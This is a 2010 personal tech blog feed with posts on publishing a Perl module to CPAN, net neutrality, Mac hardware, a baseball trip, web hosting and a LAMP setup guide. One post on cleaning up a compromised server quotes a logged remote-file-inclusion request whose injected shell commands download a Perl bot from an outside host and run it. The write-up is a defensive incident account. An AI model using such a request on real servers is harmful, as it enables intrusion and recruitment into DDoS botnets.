Paul Weinstein

Submitting a Perl module to CPAN

2010-09-07T13:12:06Z

Last May, I finally made available for download the first version of Webservice::Viddler on CPAN (Comprehensive Perl Archive Network) after having written about it in March. One of the reasons for the delay in making the packaged source code available for download had to do with one simple fact, the Viddler module was my first ever submitted for public consumption.

Now, don't misunderstand me, Webservice::Viddler is not the first Perl module I have ever written. I've been writing code in Perl for about as long as CPAN has existed. However, as is the case with my current work in PHP for Orbit Media Studios, most of the Perl code I wrote over the years was on behalf of a employer of some sort. As such the ownership of the code, and the right to distribute, rested with them, not me.

So then, why the delay? Well there are a couple of reasons. First of all, the code I posted in March was a proof of concept based on some work I did for Orbit at the time. While the basic framework of the module worked the "proto-module" didn't implement all of the functionally provided by the Viddler Web API.

Secondly, I needed to organize the source code for proper distribution on CPAN as well as get the packaged distribution uploaded and made available.

The Packaging

Before I did anything, I wanted to make sure that my module had all of the necessary files. In doing a little googling, I came across a blog post entitled Submitting a CPAN module which outlines the basic steps:

Apply for an account on PAUSE (Perl Authors Upload Server)
Organize your code
Profit

Not too complex, granted, but organized how?

As the author notes there doesn't seem to be any "what the package must have" rules. However, as anyone who has worked with third-party Perl modules knows, there is an accepted process and organization of code that all modules tend to adhere to.

After a little more googling I came across module-starter, a handy command-line interface to a Perl module, Module::Starter, which does all the work of creating a base module for distribution. After adding in my code and documentation I quickly had something close to ready.

Close, but not complete. Besides making the package useful to install, I wanted to make the code useful to modify. For that I turned to perltidy a Perl script which indents and reformats Perl code to makes it easier to read and follow.

Great! Now here is where this can get interesting (and where a lot of suggestions, if not outright rules, do exist). If you follow the steps in the order above, good, because that means while waiting for a PAUSE account to come online¹, proper considerations can be made for the naming of the module.

The Namespace

The PAUSE documentation On The Naming of Modules notes that "a module name must accomplish quite a bit in a few characters", such as provide context as to what the module does or problem it addresses. Also of importance is the fact that "once chosen, you rarely have the opportunity to change it after people start using it."

So a little careful consideration is in order.

Also, it is important to note that namespaces, by definition, are unique. Besides providing a singular meaning, the name cannot be shared with some other module, public or otherwise. As such it is recommend that PAUSE developers register the namespace of the module written. Again, this isn't a hard and fast rule per se, but a recommendation to avoid duplication and improve searchability.

That about covers the basics. Now, if you will excuse me, I need to take some time to address these test results.

1 The PAUSE documentation suggests allowing up to "three weeks for proceeding" but that requests a usually completed "within a week."

IMG_0488 [Flickr]

2010-09-05T16:09:54-07:00

pdweinstein posted a photo:

IMG_0484 [Flickr]

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pdweinstein posted a photo:

IMG_0482 [Flickr]

2010-09-05T16:09:01-07:00

pdweinstein posted a photo:

IMG_0471 [Flickr]

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pdweinstein posted a photo:

IMG_0463 [Flickr]

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pdweinstein posted a photo:

Google and Net Neutrality: Business First

2010-08-16T13:39:02Z

The Story Thus Far
Earlier this month the New York Times published an article entitled "Google and Verizon Near Deal on Web Pay Tiers" in which the paper outlined a pending agreement between Google and Verizon that would allow for prioritizing certain traffic across the Internet. Google's initial public reaction to the story was to say that the Times didn't have its facts straight and that if they had just called, Google would have been happy to have answered any questions the paper had.

Many, I think, saw Google's initial reaction to the article as an outright rejection that any sort of "deal" was in the works. However, just a few days later Google announced "A Joint Policy Proposal for an Open Internet" in which they outlined a "principled compromise our companies have developed over the last year concerning the thorny issue of 'network neutrality."

Wait, what? Web Pay Tiers? Network Neutrality?

Ok, for the uninitiated the term network neutrality (net neutrality), refers to the formalization of what has been, more or less, standard practice; that very limited, if any, restrictions should be allowed to be put in place by any service providers or government on the content or equipment that can connect to the Internet as a whole.

Conversely, many service providers argue that bandwidth is limited in scope and that without the ability to prioritize traffic and access they will ultimately fail in providing what has become a necessary service to many individuals and businesses.

In short order, Google in the past has advocated open, unrestricted access and even encapsulated the phrase "Don't be evil" as a corporate motto of sorts while companies such as Version have argued that the health and livelihood of their business models depend on tiered data networks, regardless of the level of service offered.

The proposed agreement between Google and Verizon has been analyzed by a number of groups and individuals since its publication. The basic outline of which reads: Google and Verizon agree that all "wirelines" shall be open and unencumbered. However unlike a "wireline", "wireless" (cellular) broadband is still an emerging marketplace and, as such, requires a different set of governing principles (or at least should not be handicapped by United States regulation (via the FCC) requiring the same open and unencumbered requirement as a "wireline").

Google argues that in order to reach an agreement with Verizon, like any workable agreement, they needed to make compromises in order to move forward. Critics of the agreement argue that Google has "sold out" on the idea of net neutrality, noting that the "wireless" compromise between the two companies just so happens to cover the same business segment where Google and Verizon are business partners via Google's Android platform for smartphones.

Personal Take: Business First
While I personally believe that businesses should be held to higher standard than simply generating profit, I realize that, no mater what I feel, a business must make sound business decisions, else that business will cease to be in business.

Google's mature, core business, search, requires open access for users to use and open standards for access to third-party data that it then aggregates, warehouses and mines. However, Google's potential growth business, wireless, is in competition between a number of other closed or semi-closed computing platforms (iPhone, Blackberry, RIM, et al).

Consider the following philosophy a variation of Maslow's Hierarchy of Needs, which I consider in high regard as outlined for individuals: Before a business can operate in a socially conscious way, the business must first be profitable. If a business, or business unit of a larger corporation, can align its strategy with a greater social cause, that is be profitable while being highly attuned to and influential in a current social concern, then the business can reached a higher level of "growth"

Thus, to me, it seems unsurprising that Google is willing to build a policy around a fundamental division between wired and wireless networks. Nor do I feel there has been any "betrayal" of whatever higher "don't be evil" value Google wishes to place on its businesses as a whole.

But that doesn't mean I like the agreement anymore than others. In fact, for the most part, I feel the EFF's review of the proposed agreement between Google and Verizon, is inline with my own initial read of the policy and viewpoint with regard to net neutrality.

Unfortunately for Google, its internal division of business between "wireline" and "wireless" is hardly an ideal division for the rest of us. This means while there are potentially good suggestions with the agreement, there are also some potential bad and ugly ramifications for a division between "wireline" and "wireless".

The Take Away: Hardly the End of the Internet
Obviously, this whole post is a quick summary of a very complex and evolving issue.

But that's the final point to make here. This is not the end of the Internet as we know it in which Google, Verizon and a handful of others carve it up between themselves. Instead this is an interesting proposal, an experiment in suggested policy, that may or may not point to a balancing point between different social, business and individual interests.

As Carl Sagon once wrote about the American form of democracy, "In almost all of these cases, adequate control experiments are not performed, or variables are insufficiently separated. Nevertheless, to a certain and often useful degree, policy ideas can be tested. The great waste would be to ignore the results of social experiments because they seem to be ideologically unpalatable."

Which Mac Desktop; Mini, iMac or Pro?

2010-07-29T17:49:47Z

This week, while trying to edit some video I took with my iPhone 4, I was reminded of how out of date my Mac Mini G4 is. To be fair, my Mini hasn't been my main computing device for a few years now, for that I've been using a Lenovo ThinkPad R61i running Fedora. I have a few nitpicky issues with Fedora and traditionally Linux distributions are not super laptop focused. But, again, to be fair running Linux on a laptop today is nowhere as painful as it was say 10 or even 5 years ago.¹ In any case, the Mini for the most part has become something of an iTunes dedicated machine, providing a home for my iPhone at night as well a place to manage tunes to listen to via AirTunes.

Which brings me back to my video issue, even before the new iPhone 4 my Mac was the machine I preferred to use to manage video and photos, along with music. The new phone of course adds lots of reasons why to continue and even expand using my Mac, but, alas, the G4 just isn't up to the challenge anymore. Of course, I knew this day was coming. In fact, given that Apple is no longer supporting OS X on the PowerPC chipset, I'm kind of surprised they haven't "gone native" with iTunes by now.

So the obvious, cheap and easy solution would be to replace my Mini with the 2010 model Apple released in June, right?

It is, but I recently purged a whole lot of papers from my desk in the home office and while there are still a few boxes laying about the place, the desk actually looks inviting again.² The problem now isn't miscellaneous papers, it's miscellaneous computers: the Mac Mini, the Lenovo ThinkPad and a Dell Optiplex 320.

It just so happens that Apple this week completed their desktop updates for 2010. So now I'm wondering if I want to move on and do a little digital consolidating as well.

As I previously stated my Mac is my media station right now, my Lenovo is my workstation and the Dell is a home server running SuSE Linux and handles fileshare/backup, website development environment and virtual machine host duties.

So the main question I find myself asking is do I go whole hog with a Mac Pro or do I go for the high-end Quad Core 27'' iMac?

Nor, am I the only one apparently asking this question. John Gruber suggests this is "a really good question" when quoting a blog post by Marco Arment.

Interesting, Gruber stops there and doesn't note that in Arment's own post he comes to the conclusion that while the Pro is priced with a " $1200 premium" over a similarly configured iMac, the Pro has a higher resell value on Craigslist and eBay. More important to me,³ the Pro provides greater flexibility, since obviously, the Pro is not a consumer focused machine with a limited upgrade path.⁴

In Arment's own words, "while the Mac Pro costs a lot more up front, high-performance users also get a lot more value and versatility over its lifespan, which is likely to be much longer and end much more gracefully."

Wait did I just talk myself into getting a Mac Pro? Great, now how am I going to afford the damn thing?

1 Yes, really I tried using a version Linux on a laptop over 10 years ago...

2 And not just because the chair is no longer playing host to escapees

3 I hardly ever end up trying to resell any of my old computers. I either repurpose them, whole or in parts or store them for later.

4 Again that whole reuse/repurpose thing

Images Courtesy of Apple

Idealized Americanism

2010-07-14T04:58:59Z

Preface
I will next be in Cooperstown, NY in four years, or shortly there after, to witness Frank Thomas' induction in the the National Baseball Hall of Fame.

Of all the will he or won't he arguments I've heard on Thomas' behalf, the most direct is this: In 2000 Thomas was runner up in voting as the American League's Most Valuable Player. He lost to Jason Giambi of the Oakland Athletics. Of course Giambi's name is now synonymous with baseball's Steroids Era. As the members of the Baseball Writers Association of America come to terms with giving the MVP to Giambi ten years ago and had Thomas, who could be considered an "early" advocate of drug testing of professional baseball players, won, he would have a total of 3 MVPs to his name. Of all the players who have won three or more MVP awards - notwithstanding Barry Bonds or Alex Rodriguez (who have also been connect to steroid usage) or Albert Pujols (who is still an active player) - each and everyone of them is enshrined in the hall of fame.

As it happens, the last time I was in Cooperstown, ten years ago this July. While living and working in Oakland and looking toward a possible Chicago/Oakland post-season, my brother and I undertook a road-trip from Chicago to Boston and Cooperstown to watch a childhood hero, Carlton Fisk, get inducted. I wrote and posted the following shortly after that trip. It is by far not the best piece of writing about baseball or Americana. But it is a first hand account of a short, memorable trip that I'm glad I took.

July 13-25 2000
I think my head is fried from reading On The Road off and on for the past month. My head wants to make this road trip a surreal experience of driving east to New York. Yet, this trip isn't some Kerouac inspired thought. The simple fact is that I've done parts of this trip before, granted not with this level of independence, but none the less, not a coming of age trip it will be. Then there's the fact that I feel like an old hand at this trip, despite the fact that I've only done it twice before and both times I was a passive traveler, once with my parents and bother, once with only my father. There must be something about travel, seeing a place for the first time makes it unique, traveling there again makes it familiar, after that it's as comfortable as home. The start of my 25th year I'll be pointed at Boston where I haven't been for some 10 years or so. This time the history lesson won't be on the beginning of American, but on her National Pastime, baseball.

My flight out of SFO was a bit of a pain. I got the shuttle bus to the airport with plenty of time to check in and sit about by the gate playing online with C2's laptop and my cell phone. Then we boarded the plane and things went down hill from there. As soon as everyone was settled Air Traffic Control put a slow down on flights in-bound to O'Hare, which seem to make everyone go nuts. I just dragged out my cell phone, called Tom to tell him I'd be late and not to hang around O'Hare more than necessary and went back online checking some more email. After about an hour and half of the two hour delay we started back up and off we went. Tom and I had plans to eat out for a birthday dinner, but since I didn't get in till around 9:30 I had to settle for Portillo's (no major lost, if you ask me). I chatted with Katie after I got settled in at home and then watched a bit of TV. Tuesday morning we got our things and off we went. The drive itself was pretty much a non event. While I can bitch and moan about Dad's Lexus (being 6' 3'' has it's downsides not matter what people think..."oh, it must be so nice to be tall", "play basketball do you?" and never being able to fit in a car smaller then an SUV covers the top three). I do have to say that one, the gas mileage is great and two, a 6 disc CD changer makes all the different in the world. So we cruised on listening to Perl Jam, Tom Petty, Miles Davis (the best quote of the whole trip is when checking into a Red Roof the clerk looked at Tom's T-shirt, asked if it was Miles Davis, Tom said it was and the clerk said "Bit young to know who Miles Davis is aren't you?" You can bet if it's good music at least one of us has heard it...Tom gets better odds then I, but that's beside the point), Buddy Guy, Rolling Stones, et al. passing more road construction then I've seen in a long time (last time being all those trips downstate Illinois on I-55 to Bloomington/Normal and Springfield). Of course being able to sign online while Tom's driving helps kill the time too.

South Bend we stopped for lunch, then reached Cleveland just as an Indians/Astros games was about to start. So, we ditched the car picked up two scalped tickets and just missed Houston pick up their first run of the game in the top half of the first. Jacobs Field and the area around the ballpark is a nice little place. The stadium itself looks a bit more modern then say Pac Bell Park, since Cleveland had a lot of land to play with, they have 3 levels of skyboxes and restaurant/bar such as Comiskey, but Jacobs Filed has a less sterile feel. The Indians of course won, but the Sox won their game against the Brew crew to stay 9.5 games ahead. After the game we finished off our driving for the day in Eire, PA. Then after what seemed to be a 5 minute nap, back on the road we went on, after breakfast of course.

We made Boston by evening and after getting all of our stuff into our room we head out to find dinner, which ended up being at a local Irish pub next to the Boston University campus. Thursday morning the first thing we did was to take a tour of Fenway Park. I do have to sat that the organization has done a nice job of not only taking care of the aging park, but of also updating it to offer fans some of the amenities of the newer parks. We continued on and walked over the Boston's Museum of Fine Art to view a Van Gogh exhibit that was on display. Afterward, we moved on to downtown Boston to see some of the other sights and take in the town. We dined at the Governor's Alley for an exquisite seafood supper. Then back to our room to call it a day.

Friday we just hung around resting, reading and other whatnots till the Red Sox/White Sox game. Our seats where in center field, about a dead center as you can get for Fenway (and as far from home plate too). The White Sox stayed close to Boston and won the game in the end. It's truly interesting how for example Jacobs field, while open, clean and friendly has an all most Disney-esqe Main Street/Epco feel to it where Fenway while serving the same functions for fans keeps a more home-grown if a bit rough and dirty, atmosphere that I hadn't realized I missed from old Comiskey, till now. Saturday it was back on the road to Cooperstown, we'll Utica to be exact, to pitch our tent, at a local Red Roof, for we where off and running to Cooperstown the next morning.

Twice now I've been to an Induction Ceremony and I can't quite put together a description of the day. The event is simple enough everyone gathers to watch each inductee be announced, to which of course they get to speak about what makes the award special. I don't want to say it's devoid of emotions, for that's what makes the day so special, but overall I guess it's a matter of what brings a person or people to the event that really makes the event, but that of course varies from person to person, such that the overall feel is hard to describe. After hours and hours standing (forgot the lawn chairs) in the sun Tom and I had a good part of our arms and face burned (forgot that suntan lotion, too), we stop at a local Italian restaurant for dinner before heading into the Hall itself. Most of the exhibits haven't changed much, all that really has happened is an update to include that past few seasons of ball that have come and gone since last I walked the Hall. Then of course the real event came, the plaques depicting each of the new members where placed on the wall to be included with the other stars of the game. With that all was done, home we went.

Why do this trip? It's nothing as altruistic as seeing America first hand or learning about the game of baseball. Nothing any of the stars said couldn't have been heard from some "motivational specialist" or read from any listing of stats about a player. But what was gained is that from now until the end of time I can call on that place and say not only did I watch that baseball player play the game, one who is considered to be among the best, but I also stood here to see him added to this gallery of people for the way he played. In otherwords, I stopped and smelled a few roses.

What is Reliable Web Hosting?

2010-07-06T19:30:26Z

[Editor's Note:This guest post is written by Kirsten Ramsburg of WebHostingSearch, enjoy]

When a business decides to start a new website, they tend to not be particularly concerned with the type of hosting they will use. Instead, they are focused on getting their site online quickly and generating new sales through information dissemination or e-commerce. However, it is important for anyone planning on creating a website to consider the available options of web hosting and how they might affect their site.

There are many companies that offer cheap web hosting services for small sites. Almost all of them use either Windows or Linux as a hosting platform (there are a few alternatives like Unix or Mac hosting, but these are exceedingly rare). Contrary to popular belief, it is not necessary to use a Windows hosting package if you run Windows on your desktop computer. The hosting server is completely separate from your desktop and is typically accessed through third-party software, so you can use a Linux server even if your desktop is running Windows, OSX, or even Solaris.

Regardless of the type of hosting, the most important concern for any site is to find a reliable web hosting solution. For example, it is vital that the company you select has a guaranteed uptime of 98% percent or higher. This means that the server will be offline for less than fourteen hours a month for maintenance, or other reasons. Most web companies today guarantee 99% uptime and if they fail in delivering this you won't have to pay for that month. Be wary of any company that does not guarantee this minimum amount of uptime.

Another important thing to consider is the possibility of infiltration by a malicious third-party. Though both types of servers continue to improve their security systems, Windows is slightly more prone to hacker attacks because it is built on the Windows framework. Since the majority of viruses and other malicious software is designed specifically to attack Windows, servers based on Windows are a little more vulnerable. However, both types of servers depend primarily on the administrator to maintain security. In other words, it's better to have a competent administrator running a Windows server than a careless administrator running a Linux server.

The third important thing to consider when selecting a reliable web hosting companies is the age of the hosting company. Many newer services offer amazingly inexpensive rates, but the services and support are not always as consistent as with established hosts. There are even instances of companies selling hosting packages only to close down and disappear with their clients' money. Generally speaking, a company younger than two years is risky.

Finding reliable web hosting is a challenge that most new companies and many private individuals will have to face at some point. However, keeping these three points in mind will greatly improve the odds of finding a hosting company that will allow you to focus on actually running your business instead of worrying about your site.

How Google Search Works: A Detailed Flowchat

2010-07-02T00:31:09Z

This morning technabob pointed out the following flowchart, on how Google's world famous Search feature works, by PPCBlog

Infographic by PPC Blog

The chart itself doesn't dive into how exactly PageRank works so much as covers all the steps and guidelines used to discover, rank and report on a web page relative to an user's query.

As such, the text at the end that proclaims "and all of this is done in less than second, 300 million times a day" is a bit of a misstatement. That statement is valid for everything after the point of "User queries Google". Everything before that is done in advance, in order to process, index and prepare for answering the user query in a quick, meaningful manner.

Also, that sidebar seems to leave out that those data centers are filled with an estimated 100,000+ servers built using "off-the-self" PC hardware that run highly customized software built on open source software such as Apache (quite possibly) and Linux (definitely).

Of course Google didn't exactly start out as the 800-pound gorilla.

Damn Script Kiddies, Get Off My Lawn!

2010-06-14T01:49:31Z

This should be a post about how entertaining the Chicago edition of w00tstock was¹ or about Steve Jobs' WWDC Keynote² or about the Blackhawks winning the Stanley Cup ³ or any number of other things. Instead this post it about cleaning up after some script kiddie who decided to try to use a server that does not belong to them for their own personal use.

See, on Monday last, I discovered, after an automated notice of high computing load, a process identifying itself as "/usr/sbin/apache/log" which had been running for some 30+ hours. Obviously, no Apache log rotation should take that long. Moreover, the log rotation program commonly found with the Apache Web Server is known as rotatelog. A quick directory listing confirmed that no such program or directory existed at "/usr/sbin/apache/log"

A Google search for that path resulted in a number of pages warning of a possible system compromise and suggested a review of files in the "/var/tmp" and "/tmp" directories for anything weird.

Alas, anything weird is a bit vague and considering that both temporary directories are common placeholders for random files of any number of system users or programs it took me a few passes to realize that in this case that "anything weird" would be any thing executable since any proper excitable program would reside elsewhere on a Unix-based filesystem.

An extended listing of contents resulted in the the identification of the culprit, a Perl script called, pxconfig residing in the root tmp directory.

Luckily no evidence indicated a greater incursion, such as a rootkit being installed, thus disabling the script was a simple matter of using root's superuser status to kill the process and remove the privileges of script file from executing.

Another Google search, using some of the script's code, resulted in the discovery of an analysis of a similar Perlbot, the main difference being that the script I had discovered looked to have been modified with the sole purpose of working in coordination with other compromised systems for overloading a server with resource requests (DDoS) and seemed to contain no code to propagate itself.

So after disabling the offending script, I set about trying to discover how it managed to get itself installed in the first place. This blog posting suggested a possible point of entry and indeed after trying a couple of different search patterns on the Apache access logs I located the point of entry:

access_log.5.gz:80.37.xxx.xx - -
[01/Jun/2009:00:01:54 -0500] "GET
/index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]
=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
http://81.56.xxx.xxx/cmd.gif?&cmd=cd%20/tmp;
wget%20http://81.56.xxx.xxx/d.pl;perl%20d.pl;echo%20YYY;echo|
 HTTP/1.1" 200 434 "-" "Mozilla/4.0 (compatible;
MSIE 6.0; Windows NT 5.1;)"

Notice in the GET request a GIF file being uploaded and a series of shell commands. Well the GIF file is no doubt corrupt, designed to take advantage of any number of known security vulnerabilities with the GD library resulting in a buffer overflow that in turn allows the arbitrary execution of the commands. Those commands change access to the "/tmp" directory, use wget to download a perl file and then execute said perl file. That file no doubt downloads yet another script name pxconfig, executes that second script and removes itself.

Moral of the story? Keep the system up-to-date, restrict all points where files can be uploaded, keep a close eye on what's running and Google is your friend.

Damn kids these days!

1 Quick Review: Very entertaining, would have liked a chance to get Bill Amend's autograph on a FoxTrot Collection.

2 Yes, I still plan on upgrading my iPhone from a "3G" to the new "4", no I'm not surprised Apple has renamed their mobile OS.

3 Time to retake my picture with The Cup.

Perl Module WebService::Viddler on CPAN

2010-06-01T04:59:59Z

Back in March I outlined an idea for a Perl module for accessing the video service Viddler. As I noted, at the time, while there was plenty of support for the Viddler Application Programming Interface via PHP, the support for Perl was quite anemic.

To help rectify the situation, in my "copious" free time I've been working on an Perl module that wraps around Viddler's API. The goal being to provide a quick method for integrating Perl-based applications with Viddler.

Today, I'm happy to announce the first working release of my effort, WebService::Viddler, which can be found at CPAN (Comprehensive Perl Archive Network).

As I mentioned, at the heart of things, WebService::Viddler is an object-oriented encapsulation of the Viddler video platform providing a Perl specific focus for access via their public API, which itself is documented at: http://developers.viddler.com/documentation/api/

Currently this module is, at best, beta quality code and only supports version 1 of the Viddler API. Moreover, while it handles most of the v1 API methods, it currently lacks support for the two commenting related methods, videos-comments-add and videos-comments-remove (a more complete To Do list can be found in the provided README file.

Of course the advantage of the module is that it makes including Viddler in a Perl-based application, dead simple:

#!/usr/bin/perl -T

use strict;
use warnings;

use WebService::Viddler;
use Data::Dumper;

# Create our object and establish a session
my $videos = new WebService::Viddler( 
                         apiKey => '123456ABCDEF',
                         username => $username,
                         password => $password,
                       );

# Get and print the API version is use
print "API Version: " .$videos->api_getInfo(). "\n";

# Upload a video providing required information such as the 
# title, tag and description
$videos->videos_upload( 
                         "Moon", 
                         "Moon", 
                         "A little video clip of...", 
                         "0", 
                         "/home/pdw/temp/Moon.mp4", 
                         "" 
                         );

# Get the details of the given video and
# use Data::Dumper help print out the values in the list results
print Dumper( $videos->videos_getDetailsByUrl( 
              "http://www.viddler.com/explore/pdweinstein/videos/3/" ));

# Get a list of videos by the given tag and
# use Dumper to help print out the values in the list results
print Dumper( $videos->videos_getByTag( "moon" ));

Questions, bugs and code suggestions are of course welcomed!

A Step Beyond a Red Hat Enterprise Linux, Apache, MySQL and PHP How To

2010-05-10T12:50:48Z

Image by pdweinstein via Flickr

It seems quite a bit of my time has been taken up with system administration related tasks these days. If I'm not contemplating system monitoring solutions for one client, I must be busy migrating a mail service from one server location to another.

Naturally, I was hardly surprised when I got an email from an old high school friend recently asking for assistance in setting up a Linux, Apache, MySQL and PHP (LAMP) server on Red Hat Enterprise Linux (RHEL).

Now said friend is hardly a technical novice and Google is happy to provide one with plenty of step-by-step how to's on the subject. So instead of running down the usual I figured, since he understands the technical side, but is probably more at home with Microsoft-based solutions, that I would give him some tips to orient himself.

Thus here is a quick and dirty "what's happening" (instead of the more common how to) on installing LAMP on a RHEL based system.

Helpful Tools
Installing Software
Configuring Software
Executing a Service
More Resources

Helpful Tools

Since most, if not all, of these commands deal with system-wide alterations first and foremost one will need to have "superuser" access. That can be accomplished in one of two ways:

root user: root is the conventional name of the user who has rights to all files and programs on a Unix-based system such as Red Hat Enterprise Linux. In other words root is the main administrator for the system and can do anything at anytime.

sudo: sudo is a command that allows users to run programs with the security privileges of another user (normally the superuser, root). sudo usage needs to be granted to a user before it can be used and can be limited to a subset of privileges if needed.

There are plenty of commands that one can execute at the command line. Just remembering them all can be hard, let alone remembering how exactly each command works, in what context and with what arguments. For that alone one should always remember that help is always one command away:

man: man is a command (and format) for displaying the on-line manual pages. The man command followed by the name of the command who's documentation you wish to view will provide an display of that documentation.

For example to view the manual pages in regards to the man command itself:

$ man man

A key characteristic of Unix-centric systems is the use of plain text for data storage. This means that the focus of data manipulation is based on the fundamentals of text processing. It also means that data can be "piped" from one command-line tool to another for performing a task that might be more complicated for just one tool to complete.

While text processing isn't necessary for setting up a LAMP server what is necessary to know and have ready to use is at least one general, text-based tool; a text editor.

vi: vi, vim, emacs or pico each is a command line text editor and while I try to be agnostic in the eternal debate about which is better, I will mention that for as long as I've been a Unix user/admin (some 15 years now) no matter what system I am on, be it a Red Hat distribution of Linux or a proprietary system chances are vi or vim has been installed and is available.¹

Installing Software

Red Hat Enterprise Linux uses a software package format called rpm. Each software package consists of an archive of files along with information about the package like its version and a description of the software within.

As a general practice packages are broken up into two separate packages; One contains the compiled executable, while a second one contains the source files for building the software from scratch². The source code packages will usual have a "-devel" appended to their name field.³

However, back in the early days of rpm it was discovered that managing individual rpm packages is a pain and time consuming⁴. As such, a number of rpm-based Linux distributions have adopted tools such as yum. yum assists in managing the identification of dependencies for a given software package as well as installing said packages, tracking updates for a given package from a specified repository and removing installed software from the system as desired.

Identification

Using yum with the list argument will provide information about a given package's availability. For example to check on the Apache Web Server, which is officially known as the Apache HTTP Server:

$ yum list httpd
Loaded plugins: fastestmirror
Installed Packages
httpd.i386     2.2.3-31.el5.centos.2     installed
Available Packages
httpd.i386     2.2.3-31.el5.centos.4     updates

As you can see httpd is not only available, but is also already installed⁵.

Installing

If, however, the Apache HTTP Server wasn't the install argument for yum would do the trick.

$ yum install httpd
Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
 * addons: mirror.cisp.com
 * base: yum.singlehop.com
 * extras: mirror.sanctuaryhost.com
 * updates: mirrors.liquidweb.com
Setting up Install Process
Resolving Dependencies
--> Running transaction check
---> Package httpd.i386 0:2.2.3-31.el5.centos.4 set to be updated
--> Finished Dependency Resolution

Dependencies Resolved

==================================================================
 Package     Arch     Version               Repository       Size
==================================================================
Installing:
 httpd       i386     2.2.3-31.el5.centos.4 updates         1.2 M

Transaction Summary
==================================================================
Install      1 Package(s)        
Update       0 Package(s)        
Remove       0 Package(s)        

Total download size: 1.2 M
Is this ok [y/N]:

Now it so happens that installing of Apache HTTP Server on the example system at the given time, didn't require any additional software packages to for the installation. This might not always be the case and as such, yum will identify and list any packages it determines are missing from the system to be installed at the same time, for the Apache Software Foundation's web server to be useful.

Updating

One of the key advantages of a package management system such as yum in the ability to easily track updates. The update feature can be used in two distinct manners. If used without explicitly naming a given packages, update will check for and then update every currently installed package that has a newer package available from the repository.

If, on the other hand, one or more packages are specified, yum will only update the listed package. As with installing the initial package, while updating, yum will ensure that all dependencies are installed.

Removing

Of course if yum can install and update software, it only makes sense that it can also remove the installed software from a given system. The remove argument is used to remove a specified package from the system as well as removing any packages which depend on the package being removed.

Note that this is basically the exact opposite of the install option. Install will add any software the package requires to run and the requested software itself. Remove, however, removes the requested software and any software that depends on it.

Configuring Software

Once each component is installed, it's time to go about configuring each one. The general convention for Unix-based systems such as Red Hat's Enterprise Linux is to place system-wide configuration files in the /etc directory. If fact, while the specifics can vary, the directory structure from Unix system to Unix system will general follow the same over all pattern.

Again staying with our web server example, the main Apache HTTP Server configuration file can be found at /etc/httpd/conf/httpd.conf on a Red Hat Enterprise Linux system. To open the configuration file for review and possible modification using the vi text editor is as simple as:

$ vi /etc/httpd/conf/httpd.conf

Another common directory convention is /var for variable files. Here are files whose content is expected to continually change during normal operation of the system. This is of note in regards to Apache and MySQL since /var is where database (/var/db) or website file hierarchies reside (/var/www).

Executing a Service

Last, but not least is starting these various services. For that there is the service command which runs a standardized script created for controlling the operation of the software in question. Thus to start the httpd web service the command would be"

$ service httpd start
Starting httpd:                                            [  OK  ]

Of course starting a service manually and having it automatically start when the system boots are two different realities. The chkconfig command provides a simple command-line tool for denoting if a service is to start at boot time or not. To turn on the Apache httpd service at boot:

$ chkconfig --add httpd
$ chkconfig httpd on

As noted in its man page, chkconfig has five distinct functions: adding new services for management, removing services from management, listing the current startup information for services, changing the startup information for services, and checking the startup state of a particular service.

Thus if service is akin to rpm form manually controlling a specific service via its control script, than chkconfig is akin to yum for managing a group of services, controlling the when and how of availability.

The --add argument for chkconfig adds a new service for management. Equally, the --del will remove a service from management and the --list will list all of the services which chkconfig knows about or, if a name is specified, information only about the named service.

One of the key concepts in regards to services, such as a web or database service on a Unix-centric system, is the concept of a runlevel. In standard practice, runlevel relates to the state the system is in and what is enabled for execution. Runlevel zero, for example, halts all execution of any running service, an denotes a halted, off, system.

Runlevels 1 to 5 differ in terms of which drives are mounted and which services, such as a web server are started. Default runlevels are typically 3, 4, or 5. Lower run levels (1) are useful for maintenance or emergency repairs, since they usually don't offer any network services and can help in eliminating sources of trouble.

This is important to note since in managing a service, chkconfig needs to know at which runlevels a service should run. Moreover, it is important to note what runlevels other depended services are enabled for. That is, if runlevel 1, which is single-user state akin to a "safe mode" is configured to not run any networking service, it makes little sense to enable the Apache HTTP server to execute at this runlevel.

More Resources

Just as other how-tos are entry points into getting going, this little what's happening is a quick "step beyond" the how to's last step, moving one towards understand what is going on "behind the scenes." Hopefully this next step provides a helpful point of moving into a greater understanding and into the grand world of system administration.

To that end here is a quick list of books on subject of system administration for Unix systems such as Red Hat Enterprise Linux:

1 More on using vi: http://heather.cs.ucdavis.edu/~matloff/UnixAndC/Editors/ViIntro.html

2 Remember one of the major tenets at the heart of GNU/Linux is the ability to have access to view and modify the source materials.

3 More about the rpm naming convention can be found here: http://en.wikipedia.org/wiki/RPM_Package_Manager#Package_label

4 Often refereed to as RPM Hell

5 A trained eye will note that this command was actually executed on a CentOS system. CentOS, as noted on their site, is a "CentOS is an Enterprise-class Linux Distribution derived from sources freely provided to the public by a prominent North American Enterprise Linux vendor." Can you guess which one?

This is About More Developers for the Mac

2010-04-09T15:39:27Z

In the wake of Apple's press event announcing the latest software update to its mobile platform due out this summer, John Gruber and other suggests that, with an interesting modification to the developer agreement, Apple is trying to increase the quality of applications created for their growing family of mobile multi-touch devices.

Specifically the new agreement, which developers must accept in order to use the latest development kit, bans the use of cross-platform compilers in creating applications for the iPhone/iPad/iPod touch.

That is to develop software for the upcoming iPhone OS release a developer has one of two options; use Apple's development environment, complete with compiler and programming interfaces to develop an application specifically designed for the iPhone/iPad/iPod or target multiple platforms by building a web app that can also run in the web browser, Safari.

However, the restriction goes, you cannot develop using, for example, Adobe's pending Flash update which is designed to enable the building of an application in one environment, Flash, and in turn, recompiled for multiple, "less powerful" platforms such as the Android or Windows smartphones.

Yet, as other commentators have noted, Apple already reserves the right to review apps submitted to their iTunes store and that hasn't stopped the store from getting bogged down with lots of crappy apps.

Thus, their logic goes, Apple is really trying to lock in developers. If you want to develop for the iPhone, which everyone has, you can only use our toolkit. Oh and you have to pay us $99 to get a copy of the developer kit. Oh and the software developer kit only runs on a Mac, which only we make, so that will be another $1,000. Mahhhaaaa, we're so evil....

But one Hacker News commentator, thought_alarm, I think is on the right track noting, "Few developers have any experience with Cocoa or Objective-C."

Exactly!

Compared to the number of Windows developers or web developers out there, few have developed using Cocoa or Objective-C given the Mac's market share compared to other computers. Few individuals or companies have looked to develop Mac-only or Mac specific applications.

But now the iPhone and iPad are the toast of the town. Everyone wants to get in while the getting is good. Naturally, Apple wants to capitalize on this.

